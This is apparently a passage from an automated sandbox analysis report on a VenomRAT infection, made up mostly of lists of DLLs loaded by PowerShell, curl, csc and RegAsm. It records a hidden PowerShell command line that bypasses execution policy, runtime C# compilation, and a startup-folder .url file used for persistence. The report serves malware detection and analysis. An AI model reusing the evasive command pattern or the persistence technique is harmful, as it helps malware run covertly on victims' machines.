Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mmdevapi.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbw source: powershell.exe, 00000005.00000002.2212911837.000001C572700000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb(#_m source: powershell.exe, 00000005.00000002.2211871191.000001C57239D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SReadline\2.0.0\Microsoft.Powershell.PSReadline.pdb$ source: powershell.exe, 00000005.00000002.2211656982.000001C572371000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.pdb source: powershell.exe, 00000005.00000002.2119654901.000001C501B6E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb] source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.pdbhP source: powershell.exe, 00000005.00000002.2119654901.000001C501B6E000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F48167 push ebx; ret	5_2_00007FF848F4816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F4FB5D push esp; retf	5_2_00007FF848F4FB5E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F4CEEA pushad ; retf	5_2_00007FF848F4CEC9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F4CD45 pushad ; retf	5_2_00007FF848F4CEC9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F4CDF5 pushad ; retf	5_2_00007FF848F4CEC9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF849010988 pushad ; iretd	5_2_00007FF849010991
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_067DB690 push es; ret	13_2_067DB6A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_067DB700 push es; ret	13_2_067DB710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_067D3143 push es; ret	13_2_067D3270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_067D3143 push es; ret	13_2_067D3290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_067D8C30 push es; ret	13_2_067D8C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_067D2A5F push es; ret	13_2_067D2A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_067D1AE3 pushfd ; ret	13_2_067D1AED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_067D58A3 pushfd ; ret	13_2_067D58C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_067DC9AE push es; ret	13_2_067DC9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_06DF1E30 push es; ret	13_2_06DF1E40

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.dll

Jump to dropped file

Boot Survival

Yara detected VenomRAT

Source: Yara match	File source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
